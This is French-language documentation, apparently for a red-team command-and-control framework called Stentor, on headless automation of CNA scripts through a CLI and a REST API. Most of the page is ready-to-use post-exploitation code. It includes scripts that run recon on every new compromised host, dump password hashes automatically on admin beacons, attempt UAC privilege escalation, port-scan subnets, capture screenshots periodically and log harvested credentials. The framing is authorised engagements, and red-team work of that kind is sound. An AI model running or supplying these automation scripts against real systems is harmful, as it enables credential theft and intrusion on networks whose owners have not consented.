Aller au contenu

Mode sans tête

Le mode sans tête permet d'exécuter le moteur de script CNA de Stentor sans l'interface graphique. Ceci est essentiel pour les engagements automatisés, les pipelines CI/CD, les opérations planifiées et le traitement par lots des tâches de beacon.

Stentor prend en charge deux approches de fonctionnement sans tête : la agscript CLI pour l'accès direct à la console et l'REST API pour la gestion des scripts à distance.


CLI agscript

La commande agscript se connecte au serveur d'équipe Stentor et ouvre une console de script ou exécute immédiatement un script CNA.

Utilisation de base

# Connect to team server and open interactive script console
agscript <host> <port> <user> <password>

# Connect and immediately execute a script
agscript <host> <port> <user> <password> /path/to/script.cna

Exemples

# Interactive console on the local server
agscript 127.0.0.1 8082 [email protected] mypassword

# Run an automation script against the production server
agscript stentor.app 443 [email protected] mypassword /opt/scripts/auto-recon.cna

# Run multiple scripts by chaining agscript invocations
agscript stentor.app 443 [email protected] mypassword /opt/scripts/setup.cna
agscript stentor.app 443 [email protected] mypassword /opt/scripts/engage.cna

Transport WebSocket de Stentor

Dans Stentor, la connexion au serveur d'équipe est gérée via WebSocket vers l'API backend. L'équivalent agscript se connecte via wss://stentor.app/ws/cockpit et s'authentifie avec les jetons JWT obtenus à partir du point de terminaison de connexion.

Commandes de la console interactive

Une fois connectée, la console de script fournit ces commandes intégrées :

Commande Syntaxe Description
help help Répertorier les commandes de console disponibles
load load /path/to/script.cna Charger et exécuter un script CNA
unload unload /path/to/script.cna Décharger un script et supprimer ses inscriptions
reload reload /path/to/script.cna Décharger, réanalyser et réexécuter un script
ls ls Répertorier tous les scripts chargés avec leur statut
x x 2+2 Évaluer une expression et imprimer le résultat
e e println("hello") Exécuter une instruction et capturer le résultat
? ? "foo" iswm "f*" Évaluer un prédicat (renvoie vrai/faux)
# Example interactive session
> x beacon_ids()
@("a1b2c3d4", "e5f6g7h8")

> e foreach $bid (beacon_ids()) { println(binfo($bid, "user")); }
WORKSTATION\admin
SERVER01\svc_backup

> ? -isadmin "a1b2c3d4"
true

> load /opt/scripts/auto-recon.cna
[+] Loaded: auto-recon.cna

> ls
[*] auto-recon.cna (loaded at 2026-02-19 13:00:00)

Gestion des scripts via API

Stentor expose les points de terminaison REST pour gérer les scripts CNA par programmation. Cela permet l'intégration avec des outils externes, des systèmes CI/CD et des tableaux de bord personnalisés.

Charger un script

Chargez et exécutez un script CNA à partir d'un chemin de fichier sur le serveur.

curl -s -X POST https://stentor.app/api/v1/scripts/load \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path": "/opt/scripts/auto-recon.cna"}'

Réponse :

{
  "status": "loaded",
  "name": "auto-recon.cna",
  "path": "/opt/scripts/auto-recon.cna"
}

Décharger un script

Supprimez un script et toutes ses inscriptions (alias, événements, hooks) du moteur.

curl -s -X POST https://stentor.app/api/v1/scripts/unload \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "/opt/scripts/auto-recon.cna"}'

Liste des scripts chargés

curl -s -X GET https://stentor.app/api/v1/scripts \
  -H "Authorization: Bearer $TOKEN"

Réponse :

[
  {
    "path": "/opt/scripts/auto-recon.cna",
    "name": "auto-recon.cna",
    "loaded_at": "2026-02-19T13:00:00Z",
    "status": "loaded"
  },
  {
    "path": "/opt/scripts/cred-alert.cna",
    "name": "cred-alert.cna",
    "loaded_at": "2026-02-19T13:01:00Z",
    "status": "loaded"
  }
]

Évaluer une expression

Exécutez une expression Sleep et renvoyez le résultat. Utile pour interroger l’état du beacon ou tester des scripts.

curl -s -X POST https://stentor.app/api/v1/scripts/eval \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"expression": "println(\"Active beacons: \" . size(beacon_ids()));"}'

Réponse :

{
  "result": "Active beacons: 3\n"
}

Modèles d'automatisation

Les exemples suivants illustrent les flux de travail d'automatisation sans tête courants. Chaque script est conçu pour être chargé une seule fois et exécuté en continu, réagissant aux événements au fur et à mesure qu'ils se produisent.

Bot de reconnaissance automatique

Exécutez automatiquement des commandes de reconnaissance sur chaque nouvelle beacon. Il s'agit du modèle sans interface graphique le plus courant : il garantit une collecte initiale cohérente des données sur tous les hôtes compromis.

# auto-recon.cna -- Automatically run recon on new beacons

on beacon_initial {
    local('$bid $user $computer');
    $bid = $1;

    # Wait for beacon to settle
    bsleep($bid, 5, 0);

    # Run initial reconnaissance
    bps($bid);
    bnet($bid, "view");
    bipconfig($bid);
    bwhoami($bid);
    bpwd($bid);

    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");
    blog($bid, "Auto-recon queued for $user on $computer");
}

Temps de stabilisation du beacon

Utilisez bsleep($bid, 5, 0) avant de mettre en file d'attente plusieurs tâches. Cela donne au beacon le temps d'établir sa connexion et réduit le risque de problèmes d'ordre des tâches lors du premier cycle d'enregistrement.

Bot de capture d'écran programmé

Capturez des captures d'écran de toutes les beacons actifs à intervalles réguliers pour avoir une connaissance de la situation lors d'un engagement.

# screenshot-bot.cna -- Take screenshots every 5 minutes

on heartbeat_5m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bscreenshot($bid);
        }
    }
}

# Log when the bot starts
on ready {
    elog("[screenshot-bot] Active -- capturing every 5 minutes");
}

Pipeline d’alertes d’informations d’identification

Surveillez les informations d’identification nouvellement collectées et enregistrez-les pour créer des rapports. Ce script crée une piste d'audit de toutes les informations d'identification découvertes au cours de la mission.

# cred-alert.cna -- Alert on new credentials

on credential_add {
    local('$type $user $pass $source $host');
    $type = $1;
    $user = $2;
    $pass = $3;
    $source = $4;
    $host = $5;

    # Log to event log for all operators to see
    elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");

    # Count total credentials
    $total = size(credentials());
    elog("[CREDENTIAL] Total credentials in store: $total");
}

Auto-Hashdump sur un beacon élevée

Videz automatiquement les hachages lorsqu'un beacon s'enregistre avec des privilèges administratifs. Combine la gestion des événements avec la vérification des privilèges pour l'automatisation conditionnelle.

# auto-hashdump.cna -- Dump hashes from admin beacons

on beacon_initial {
    local('$bid');
    $bid = $1;

    if (-isadmin $bid) {
        # This beacon has admin privileges -- grab credentials
        bhashdump($bid);
        blog($bid, "[auto] Admin beacon detected -- hashdump queued");

        # Also grab screenshots from privileged sessions
        bscreenshot($bid);
    }
}

Automatisation complète de l'engagement

Un script d'automatisation complet qui met en œuvre un flux de travail d'engagement en plusieurs phases : reconnaissance, collecte d'informations d'identification et collecte périodique de données.

# engagement.cna -- Full automated engagement workflow

# Phase 1: Initial recon on every new beacon
on beacon_initial {
    local('$bid $user $computer');
    $bid = $1;
    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");

    elog("[ENGAGE] New beacon: $user @ $computer");

    # Basic recon
    bsleep($bid, 10, 20);
    bps($bid);
    bnet($bid, "view");
    bportscan($bid, "10.10.10.0/24", "1-1024", "arp");

    # Phase 2: Credential access (if admin)
    if (-isadmin $bid) {
        bhashdump($bid);
        bscreenshot($bid);
        elog("[ENGAGE] Admin beacon -- credentials queued");
    }
}

# Phase 3: Periodic data collection
on heartbeat_10m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bps($bid);
        }
    }
}

# Phase 4: Screenshot collection from admin beacons
on heartbeat_30m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            bscreenshot($bid);
        }
    }
}

# Alert on credential discovery
on credential_add {
    elog("[ENGAGE] Credential found: $1 $2 from $4 on $5");
}

# Log engagement status on startup
on ready {
    elog("[ENGAGE] Engagement automation loaded and active");
}

Flux de travail scriptés

Au-delà des simples gestionnaires d'événements, le mode sans tête prend en charge les workflows complexes d'orchestration multi-beacons.

Orchestration multi-beacons

Parcourez toutes les beacons et coordonnez les tâches sur plusieurs hôtes.

# orchestrate.cna -- Coordinate across all beacons

sub task_all_beacons {
    local('$cmd');
    $cmd = $1;

    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            binput($bid, $cmd);
        }
    }
}

# Example: run net view on all beacons every hour
on heartbeat_60m {
    task_all_beacons("net view");
}

Chaîne d'escalade conditionnelle

Implémentez un arbre de décision qui réagit aux changements d’état des beacons.

# escalate.cna -- Conditional privilege escalation

on beacon_initial {
    local('$bid');
    $bid = $1;

    if (!-isadmin $bid) {
        # Not admin -- attempt escalation
        blog($bid, "[escalate] Medium integrity -- attempting elevation");
        belevate($bid, "uac-token-duplication");
    } else {
        # Already admin -- proceed with post-ex
        blog($bid, "[escalate] Already elevated -- proceeding to post-ex");
        bhashdump($bid);
    }
}

Opérations chronométrées avec événements Heartbeat

Planifiez les opérations à des intervalles spécifiques pour un contrôle furtif et opérationnel du tempo.

# timed-ops.cna -- Scheduled operations

# Quick health check every minute
on heartbeat_1m {
    local('$active $total');
    $total = size(beacon_ids());
    $active = 0;
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            $active++;
        }
    }
    if ($active != $total) {
        elog("[HEALTH] $active / $total beacons active");
    }
}

# Network scan every 30 minutes (low and slow)
on heartbeat_30m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            bnet($bid, "view");
        }
    }
}

Débogage des scripts sans tête

Commandes de débogage de la console de script

La console de script fournit des commandes de débogage intégrées pour dépanner les scripts CNA.

Commande Description
tron Activer le mode trace -- imprime chaque appel de fonction et argument
troff Désactiver le mode trace
pron Activer le mode profil -- imprime le timing d'exécution pour chaque fonction
proff Désactiver le mode profil
# Enable tracing to see what your script is doing
> tron
[TRACE] on beacon_initial called with: a1b2c3d4
[TRACE] bsleep(a1b2c3d4, 5, 0) => $null
[TRACE] bps(a1b2c3d4) => $null
...
> troff

Journalisation des événements

Utilisez elog() pour écrire dans le journal des événements du serveur d'équipe. Il s'agit du principal outil de débogage et d'audit pour les scripts sans tête.

# Debug helper: log with script name prefix
sub debug {
    elog("[my-script] $1");
}

on beacon_initial {
    debug("beacon_initial fired for $1");
    # ... script logic ...
    debug("beacon_initial handler complete");
}

Modèles de gestion des erreurs

Les scripts CNA doivent gérer les erreurs avec élégance, en particulier en mode sans tête où il n'y a pas d'interface utilisateur pour afficher les avertissements.

# Defensive scripting pattern
on beacon_initial {
    local('$bid');
    $bid = $1;

    # Check beacon is valid before tasking
    if ($bid eq "" || $bid eq $null) {
        elog("[ERROR] beacon_initial fired with empty ID");
        return;
    }

    # Check beacon is still active before heavy tasking
    if (!-isactive $bid) {
        elog("[WARN] Beacon $bid not active, skipping recon");
        return;
    }

    # Safe to proceed
    bps($bid);
}

Limites du bac à sable

Soyez conscient des limites de sécurité du moteur de script :

Limite Valeur Description
Délai d'expiration du gestionnaire 30 secondes Les gestionnaires d'événements sont terminés après 30 secondes
Délai d'évaluation 30 secondes Délai d'exécution du script (configurable)
Gestionnaires simultanés Illimité Chaque gestionnaire s'exécute dans sa propre goroutine
Réentrée Bloqué par crochet L'invocateur de hook empêche les appels récursifs au même hook

Comportement de délai d'attente

Si un gestionnaire d'événements dépasse 30 secondes, il est terminé. Les opérations de longue durée doivent être divisées en étapes plus petites, en utilisant bsleep pour rythmer les interactions des beacons ou les événements de battement de cœur afin de planifier le travail de suivi.


Scripts à chargement automatique

Stentor prend en charge le chargement automatique de scripts à partir d'un répertoire désigné. Placez les fichiers .cna dans le répertoire des scripts et le serveur les chargera au démarrage et surveillera les modifications.

Surveillance d'annuaire

Le moteur de script interroge le répertoire des scripts toutes les 2 secondes pour :

  • Nouveaux fichiers : chargés et exécutés automatiquement
  • Fichiers modifiés : rechargés automatiquement (déchargement + réanalyse + réexécution)
  • Fichiers supprimés : automatiquement déchargés (tous les enregistrements supprimés)
# Place scripts in the watched directory
cp auto-recon.cna /opt/stentor/scripts/
# Script is automatically loaded within 2 seconds

# Edit a running script
vim /opt/stentor/scripts/auto-recon.cna
# Script is automatically reloaded after saving

# Remove a script
rm /opt/stentor/scripts/auto-recon.cna
# Script and all its registrations are removed

Comportement de rechargement

Lorsqu'un script est rechargé, le moteur exécute une séquence propre en 3 étapes : (1) décharger toutes les inscriptions de l'ancienne version, (2) réanalyser le fichier, (3) réexécuter pour déclencher de nouvelles inscriptions. Cela garantit qu’il ne reste aucun gestionnaire obsolète.


Meilleures pratiques

Bonnes pratiques du mode sans tête

Gardez les gestionnaires d'événements rapides. Les gestionnaires d'événements doivent se terminer rapidement (moins d'une seconde) pour éviter de bloquer l'EventBus. Pour les opérations lourdes, mettez les tâches de beacon en file d’attente et laissez-les s’exécuter de manière asynchrone.

Utilisez bsleep avant d'effectuer des tâches lourdes. Lorsqu'une nouvelle beacon s'enregistre, laissez-lui le temps de s'installer avant de mettre plusieurs commandes en file d'attente :

bsleep($bid, 5, 0);  # 5-second sleep, no jitter

Vérifiez l'état du beacon avant d'effectuer une tâche. Vérifiez toujours qu'un beacon est active et dispose des privilèges appropriés :

if (-isactive $bid && -isadmin $bid) {
    bhashdump($bid);
}

Utilisez elog() pour la piste d'audit. Chaque action importante doit être enregistrée pour les rapports post-engagement :

elog("[script-name] action description");

Testez d'abord les scripts dans la console. Utilisez la console de script interactive pour tester les expressions et les gestionnaires avant de déployer le mode sans interface :

> load /opt/scripts/my-script.cna
> x beacon_ids()
> e bps("test-bid")

Utilisez les événements de battement de cœur pour le travail planifié. Au lieu d'implémenter vos propres minuteries, utilisez les 12 intervalles de battement de cœur intégrés :

on heartbeat_5m { /* runs every 5 minutes */ }

Un script par préoccupation. Gardez les scripts concentrés : un pour la reconnaissance, un pour les alertes d'informations d'identification, un pour les captures d'écran. Cela facilite le chargement/déchargement de fonctionnalités spécifiques.

Gérez l'événement ready. Initialisez l'état du script et enregistrez les messages de démarrage dans le gestionnaire ready pour confirmer que vos scripts sans tête sont actifs :

on ready {
    elog("[my-script] Loaded and active");
}


Voir aussi

  • Hooks & Events -- Référence complète pour tous les hooks et événements utilisés dans les scripts d'automatisation
  • Référence de la fonction -- Toutes les fonctions b* disponibles pour l'interaction avec le beacon